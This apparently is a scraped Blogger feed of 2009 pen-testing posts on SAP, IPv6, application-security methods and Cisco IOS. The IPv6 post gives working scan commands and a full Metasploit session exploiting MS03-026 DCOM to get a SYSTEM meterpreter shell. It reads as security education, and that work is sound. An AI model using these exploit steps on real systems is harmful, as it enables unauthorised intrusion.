issues.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;For more information on current security initiatives, visit:&lt;br /&gt;[1]Cloud Security Alliance - http://www.cloudsecurityalliance.org&lt;br /&gt;[2]ENISA Cloud Security Working Group - http://www.enisa.europa.eu&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-919690295610596789?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/919690295610596789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/919690295610596789'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/08/cloud-computing-security-outlook.html' title='Cloud Computing: A Security Outlook'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/SpVvOuOpTBI/AAAAAAAAAH8/erFLLQnDJ4M/s72-c/August-03-09.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-9160283416969376365</id><published>2009-08-19T12:56:00.005-04:30</published><updated>2009-08-20T08:15:36.038-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SAP infrastructure'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking SAP'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP platform'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP architecture'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP risk'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP security'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP threats'/><title type='text'>Exploiting SAP Business Platforms: The Pen-Testing Analysis</title><content type='html'>&lt;div style="text-align: justify;"&gt;SAP simply stands for "Systems, Applications and Products in data processing". SAP as a unique business solution developer integrates range of solutions including ERP, CRM, GRC, PLM, SCM and many more. The ease of usage, implementation and market reputation has put forward a strong basis for the company (german based) worldwide. Deploying SAP solution is a bit lengthy and complex process and that's why a core security settings left default or unattended. This could results in serious exposure of the SAP platforms and flag a high risk to the organization.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SAP Basic Components&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ClientID&lt;/span&gt; - Business unit or Corporation with unique identifier.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Transaction&lt;/span&gt; - A conversation between client interface and backend database.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Authorization&lt;/span&gt; - Users assigned roles/profiles.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ABAP &lt;/span&gt;- SAP high-level programming language.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Reports&lt;/span&gt; - A component to generate report on user requests.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Functional Modules&lt;/span&gt; - A set of remote or local procedures.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;RFC Interface&lt;/span&gt; - Remote funtion call library.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SAP Security&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Talking in the specific context of SAP platform, many auditors would like to harden the SAP authorization subsystem (roles and profiles). While hardening the authorization process and segregation of duties is considered vital but there is also another aspect of security which involves technical assessment of all the networked components within SAP environment. Conducting "Penetration Testing" using industry-proven methodology gives more clear outlook for security vulnerabilities and threats in the existing infrastructure. Such as, weakness in configuration may result in business frauds. The typical number of steps followed under SAP Pen-Testing are:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;-&lt;span style="font-style: italic;"&gt;Discovery &lt;/span&gt;(Find the target)&lt;br /&gt;-&lt;span style="font-style: italic;"&gt;Enumeration &lt;/span&gt;(Services running on the platform)&lt;br /&gt;-&lt;span style="font-style: italic;"&gt;Vulnerability Assessment&lt;/span&gt; (Check for the presence of known/unknown vulnerabilities)&lt;br /&gt;-&lt;span style="font-style: italic;"&gt;Exploitation&lt;/span&gt; (Try to gain administrator privileges on the defined system)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The main goal is to achieve the highest possible privileges in the production environment which can be accomplished by:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;-Getting SAP Administration access&lt;br /&gt;-DBA privileges&lt;br /&gt;-SAP_ALL access privileges&lt;br /&gt;&lt;br /&gt;Though obtaining any of the above access may give complete control over SAP systems.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SAP Penetration Toolkit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Following are some of the key tools necessary to assess the SAP infrastructure.&lt;br /&gt;&lt;br /&gt;-NMap&lt;br /&gt;-rsh,rlogin,rexec&lt;br /&gt;-BurbSuite&lt;br /&gt;-W3af&lt;br /&gt;-Nessus&lt;br /&gt;-JTR (John The Ripper)&lt;br /&gt;-THC Hydra&lt;br /&gt;-SQL Client Tools&lt;br /&gt;-NFS Client Tools&lt;br /&gt;-Sapyto&lt;br /&gt;-Metasploit&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;It worth to mention that "Sapyto" is specially designed as SAP Penetration Testing Framework to cover all aspects of Pen-Testing methodology. And because it is developed in python and C, it is easier port plugins.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Countermeasures&lt;br /&gt;&lt;br /&gt;1.Restrict connections to the SAP gateway.&lt;br /&gt;2.Restrict access to shared resources. Such that, allow only internal connections.&lt;br /&gt;3.Harden the configuration settings.&lt;br /&gt;4.Remove/Change the default user accounts.&lt;br /&gt;5.Enable "SNC" to protect against evasdropping.&lt;br /&gt;6.Good password security should be enforced.&lt;br /&gt;7.Access to transactions should be restricted.&lt;br /&gt;8.Use SAP authorization object "S_Program" to protect report confidentiality.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-9160283416969376365?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9160283416969376365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9160283416969376365'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/08/exploiting-sap-business-platforms-pen.html' title='Exploiting SAP Business Platforms: The Pen-Testing Analysis'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8429340230565494294</id><published>2009-08-11T05:37:00.004-04:30</published><updated>2009-08-11T05:46:51.515-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ipv6 penetration'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6 vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit ipv6'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6 attack toolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='scan ipv6 network'/><title type='text'>Exploiting IPv6 Network Stack: A Pen-tester Approach</title><content type='html'>&lt;div style="text-align: justify;"&gt;The Next-generation protocol, IP version 6, has came out nearly 11 years ago but never been used or practiced in the real world network envrionment. This lack of adoption of technology has not only left many machines in corporate networks without IPv6 implementation but also put a negative affect on networking and operating system vendors. On the other side, due to its fast growth and complexity of implementation in various firewalls and intrusion detection/prevention appliances has revealed the attack surface, as they cannot block malicious IPv6 traffic. The main purpose of this article is to demonstrate the process through which a penetration tester can assess the security of IPv6 enabled environment.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Addressing Scheme&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The representation of IPv6 has changed alot from IPv4 addressing scheme. IPv6 network address consists of 128 bits or 16 bytes as a pair of four hex-digits separated by colons. This gives more wider address space and flexibility to segment the addresses accordingly. Lets take some examples to understand the inner workings of IPv6 addressing.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;::1 represents loopback or localhost address (IPv4 equivalent 127.0.0.1)&lt;br /&gt;::0 or :: represents ANY IPv6 address&lt;br /&gt;fe80:: prefix represents link-local address&lt;br /&gt;2000:: prefix represents site-local address&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Attack Surface&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Usually all the IPv6 network nodes are configured with at least one link-local address (fe80::). While performing this automatic configuration, a router discovery request will be sent to all IPv6 enabled routers on their broadcast addresses. Now, if any router respond back, the node will select that site-local address (2000::) for its interface. This scenario introduces a threat where there is no active IPv6 routers and the attacker takes advantage to reply with rogue address. The risk factor of such attack is higher and may cause serious damage and data leakage problems for the organization. Using the mentioned scenario, I will demonstrate the real-world attack on IPv6 network from penetration testing perspective.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;1. IPv6 Network Configuration&lt;/span&gt;&lt;br /&gt;To validate if your system is configured with IPv6 address at particular interface, execute the following command:&lt;br /&gt;&lt;br /&gt;# ifconfig eth0 | grep inet6&lt;br /&gt;inet6 addr: fe80::0102:03ff:fe04:0506/64 Scope:Link&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;2. Discovery and Scanning&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;IPv6 design introduces a new set of protocol for network discovery. It consists of ICMPv6 Neighbour Discovery and Neighbour Solicitation protocols. In order to enumerate the network hosts, we can use the "IPv6 Attack Toolkit" published by Van Hauser. This task is accomplished using "alive6" program included in the package.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;# alive6 eth0&lt;br /&gt;Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx&lt;br /&gt;Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy&lt;br /&gt;Found 2 systems alive&lt;br /&gt;&lt;br /&gt;The combination of "ip" and "ping6" command can also accumulate in local IPv6 node discovery process.&lt;br /&gt;&lt;br /&gt;# ping6 -c 3 -I eth0 ff02::1 &gt;/dev/null 2&gt;&amp;amp;1&lt;br /&gt;# ip neigh | grep ^fe80&lt;br /&gt;fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx REACHABLE&lt;br /&gt;fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx REACHABLE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;3. Service Enumeration&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In order to find the open ports running specific services on target IPv6 machine. An attacker can simply use "NMap" as follows:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx%eth0&lt;br /&gt;Starting Nmap 4.68 ( http://nmap.org ) at 2008-08-27 13:57 CDT&lt;br /&gt;PORT STATE SERVICE&lt;br /&gt;22/tcp open ssh&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The similar task can be done through Metasploit Framework's TCP port scanner which includes a complete support for IPv6 addresses.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;# msfconsole&lt;br /&gt;msf&gt; use auxiliary/discovery/portscan/tcp&lt;br /&gt;msf auxiliary(tcp) &gt; set RHOSTS fe80::xxxx:xxxx:xxxx:xxxx%eth0&lt;br /&gt;msf auxiliary(tcp) &gt; set PORTSTART 1&lt;br /&gt;msf auxiliary(tcp) &gt; set PORTSTOP 10000&lt;br /&gt;msf auxiliary(tcp) &gt; run&lt;br /&gt;[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:135&lt;br /&gt;[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:445&lt;br /&gt;[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1025&lt;br /&gt;[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1026&lt;br /&gt;[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1027&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;4. Exploitation&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To move towards penetration stage, it is vital to determine all set of vulnerable services running on the target machine. For instance, consider the following NMap results from scanning the IPv6 Windows interface.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;# nmap -6 -p1-10000 -n fe80::24c:44ff:fe4f:1a44%eth0&lt;br /&gt;80/tcp open http&lt;br /&gt;135/tcp open msrpc&lt;br /&gt;445/tcp open microsoft-ds&lt;br /&gt;554/tcp open rtsp&lt;br /&gt;1025/tcp open NFS-or-IIS&lt;br /&gt;1026/tcp open LSA-or-nterm&lt;br /&gt;1027/tcp open IIS&lt;br /&gt;1030/tcp open iad1&lt;br /&gt;1032/tcp open iad3&lt;br /&gt;1034/tcp open unknown&lt;br /&gt;1035/tcp open unknown&lt;br /&gt;1036/tcp open unknown&lt;br /&gt;1755/tcp open wms&lt;br /&gt;9464/tcp open unknown&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As we know that Metasploit Framework supports IPv6 sockets. This allow us to use almost any auxiliary and exploit modules against IPv6 hosts same as IPv4. For the purpose of demonstration, I have used MS03-036 (Blaster) exploit to penetrate  DCERPC endpoint mapper service (port 135) and get a root shell.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;msf&gt; use windows/exploit/dcerpc/ms03_026_dcom&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set RHOST fe80::24c:44ff:fe4f:1a44%eth0&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set PAYLOAD windows/meterpreter/bind_ipv6_tcp&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set LPORT 4444&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; exploit&lt;br /&gt;[*] Started bind handler&lt;br /&gt;[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...&lt;br /&gt;[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...]&lt;br /&gt;[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...][135]&lt;br /&gt;[*] Sending exploit ...&lt;br /&gt;[*] The DCERPC service did not reply to our request&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Sleeping before handling stage...&lt;br /&gt;[*] Uploading DLL (73227 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 1 opened&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; sessions -i 1&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;meterpreter &gt; getuid&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;THC IPv6 Attack Toolkit - http://freeworld.thc.org/thc-ipv6/&lt;br /&gt;The Metasploit Framework - http://metasploit.com&lt;br /&gt;nmap - http://nmap.org/&lt;br /&gt;IPv6 Site - http://www.ipv6.org/&lt;br /&gt;RFC 2461 - http://www.ietf.org/rfc/rfc2461.txt&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8429340230565494294?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8429340230565494294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8429340230565494294'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/08/exploiting-ipv6-network-stack-pen.html' title='Exploiting IPv6 Network Stack: A Pen-tester Approach'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3538130739887044649</id><published>2009-07-27T00:18:00.005-04:30</published><updated>2009-07-27T00:44:14.945-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='formal verification'/><category scheme='http://www.blogger.com/atom/ns#' term='Automated Dynamic Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='automated vulnerability testing'/><category scheme='http://www.blogger.com/atom/ns#' term='Automated Static Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzz testing'/><category scheme='http://www.blogger.com/atom/ns#' term='static code analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='application vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='application security testing'/><title type='text'>Securing Application Infrastructure: The analysis of Application Security Methodologies</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sm03bx7It2I/AAAAAAAAAH0/Whb4Q3pp6NY/s1600-h/July-02-09.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 156px; height: 150px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sm03bx7It2I/AAAAAAAAAH0/Whb4Q3pp6NY/s320/July-02-09.JPG" alt="" id="BLOGGER_PHOTO_ID_5363003681665496930" border="0" /&gt;&lt;/a&gt;The trend of security threats has recently gained a prominent attention in media and industry reports. This article will briefly examine the methodologies and approaches that most organizations follow to address security issues by giving examples, test cases, strengths and weaknesses. Today's widely known solutions involve vulnerability scanning, static code analysis, penetration testing, binary analysis, fuzzing etc. Which of them are more or less reliable and which of them can address specific type of application problems, is mainly discussed here.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;As many software vendors think that 'security issues' may never laid them out of business but in reality it does affect the sales as well as market reputation. Deploying proper application security not only rest assure the clients but also lead to increase the productivity. Let us take an example of interesting equation:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;X=Applications developed&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Y=Vulnerabilities exist in those applications&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Z=Cost of repair (patch and fixes)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Now; X.Y.Z=A (answer)&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;If 'A' is less than the cost of third-party QA auditor, cost of training the developers and conducting additional security audits then it make more sense to write an insecure code.&lt;br /&gt;&lt;br /&gt;Application vulnerabilities (in broad sense) can be divided into following sections but not limited to:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Operation/Platform Vulnerabilities&lt;/span&gt;&lt;br /&gt;-Asset information disclosure&lt;br /&gt;-Buffer Overflows&lt;br /&gt;-Misconfigurations&lt;br /&gt;-Error Handling&lt;br /&gt;-Resource specific threats&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Design Vulnerabilities&lt;/span&gt;&lt;br /&gt;-Logic Flaws&lt;br /&gt;-Access Control (Authentication/Authorization&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Implementation Vulnerabilities&lt;/span&gt;&lt;br /&gt;-Code Injection&lt;br /&gt;-Information Disclosure&lt;br /&gt;-Command Execution&lt;br /&gt;-Functionality Abuse&lt;br /&gt;-Input Validation&lt;br /&gt;-Time and State&lt;br /&gt;&lt;br /&gt;Now to test the security of the application, one may apply either of these methodologies:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Automated&lt;/span&gt;&lt;br /&gt;-Automated Dynamic Tests (Fuzz Testing, Vulnerability Scanning)&lt;br /&gt;-Automated Static Tests (Source or Binary Code Scanning)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Manual&lt;/span&gt;&lt;br /&gt;-Manual Dynamic Tests (Parameter Tampering and Social Engineering)&lt;br /&gt;-Manual Static Tests (Source or Binary Code Auditing)&lt;br /&gt;&lt;br /&gt;Although each of these methods have their own strengths and weaknesses. Thus, we assume not the best, but atleast more efficient and reliable method can be judged by looking into their specific testing process.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Automated Dynamic Testing&lt;/span&gt;&lt;br /&gt;While approaching to disclose application vulnerabilities under this method, the complexity ratio increases when moving from vulnerability scanning to the fuzz testing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Strengths&lt;/span&gt;&lt;br /&gt;-Less false positives (inherent benefits of run-time analysis)&lt;br /&gt;-Programmatic approach to ensure reliable and consistent tests output&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Weaknesses&lt;/span&gt;&lt;br /&gt;-Threat assurance, No Fault != No Flaw&lt;br /&gt;-Only the part of code audit may provide baseline for measurement.&lt;br /&gt;-Unexpected conditions cannot be tested without additional programming.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Use Cases&lt;/span&gt;&lt;br /&gt;-Fuzz Testing (complex input, informal SDLC, observable indicators)&lt;br /&gt;-Application Scanning (strongly typed flaw classes, deterministic and observable behavior, known inputs only)&lt;br /&gt;-Vulnerability Scanning (known transaction sequences, one to one mapping of triggers to specific conditions)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Automated Static Testing&lt;/span&gt;&lt;br /&gt;This method can disclose the set of vulnerabilities present in the application by examining the code (source/binary) without user interaction. Several commercial and open source tools are available to perform automated static analysis. The complexity of such tools increases from normal flaw identification to the formal verification process.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Strengths&lt;/span&gt;&lt;br /&gt;-Assessment of low-context flaws (parameters, DB query statements, etc)&lt;br /&gt;-Automated scans required little or no human interaction&lt;br /&gt;-Can get good placement during development lifecycle&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Weaknesses&lt;/span&gt;&lt;br /&gt;-Applications without presence of their source code.&lt;br /&gt;-High ratio in false postives or negatives, tuning is harder.&lt;br /&gt;-Critical issues with formal verification&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Developing and correctly expressing a set of security invariants.&lt;/li&gt;&lt;li&gt;Developing an interpretation of the application that lends itself to proving/disproving invariants.&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-style: italic;"&gt;Use Cases&lt;/span&gt;&lt;br /&gt;-Timely and resource-specific detection of simple flaws&lt;br /&gt;-Detection of regression as a part of development lifecycle&lt;br /&gt;-False assumption on strong assurance of the critical application&lt;br /&gt;-In the hands of a developer who cannot interpret or filter the results correctly&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Manual Dynamic Testing&lt;/span&gt;&lt;br /&gt;The manual dynamic assessment apporach can be achieved by human-navigated application usage followed by assurance validation process and fuzz testing. A critical background information on application design can be provided by the developers. The complexity of manual dynamic testing process increases with its level of common criteria, assurance validation to parameter tampering.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Strengths&lt;/span&gt;&lt;br /&gt;-Parallel capacity in execution of tests&lt;br /&gt;-Pattern recognition&lt;br /&gt;-Testing the live implementation may reduce false positives&lt;br /&gt;-Capable of emulating the malicious attack process&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Weaknesses&lt;/span&gt;&lt;br /&gt;-Time consuming for large and complex applications&lt;br /&gt;-May require the tester to hold a steep learning curve&lt;br /&gt;-Test envrionment may not mirror production&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Use Cases&lt;/span&gt;&lt;br /&gt;-High risk applications require highly experienced security auditor to understand and scope the attack surface&lt;br /&gt;-Wrong application type or the wrong tester background&lt;br /&gt;-A case where the requirements of assessment does not match the expected risk profile of an application&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Manual Static Testing&lt;/span&gt;&lt;br /&gt;This process involves the interaction of human reviews, understanding application design and architecture documentation, use of offline toolset (such as, disassemblers, code browsers, etc).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Strengths&lt;/span&gt;&lt;br /&gt;-Known data and code points&lt;br /&gt;-Without any resource specific considerations&lt;br /&gt;-Adaptability with skills and toolset&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Weaknesses&lt;/span&gt;&lt;br /&gt;-Accuracy issues (falst positives, human mistakes)&lt;br /&gt;-High resource requirements&lt;br /&gt;-Inconsistency in interpretation of same flaw in different ways&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Use Cases&lt;/span&gt;&lt;br /&gt;-Manual code audit (skilled resources, minor findings before automated tests, custom-coded scripts)&lt;br /&gt;-Configuration review (low risk in changing values at runtime, known data sources and formatings)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thus, from the application security assessment methods mentioned above and the statistics from "WASC Statistics Project" prove that the probability in detection of high risk vulnerabilities can be higher if combined set of methodologies are used. And this combined approach is almost 12.5% higher than automated scanning (specific to web applications).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3538130739887044649?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3538130739887044649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3538130739887044649'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/07/securing-application-infrastructure.html' title='Securing Application Infrastructure: The analysis of Application Security Methodologies'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sm03bx7It2I/AAAAAAAAAH0/Whb4Q3pp6NY/s72-c/July-02-09.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1365873609101501237</id><published>2009-07-12T12:27:00.008-04:30</published><updated>2009-07-12T12:47:59.606-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco router compromise'/><category scheme='http://www.blogger.com/atom/ns#' term='IOS next generation'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco tcl backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='hack cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco ios rootkits'/><category scheme='http://www.blogger.com/atom/ns#' term='ios shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='ios threats'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco ios exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='ios vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco backdoor'/><title type='text'>Cisco IOS: The Geometry of varying Threats</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 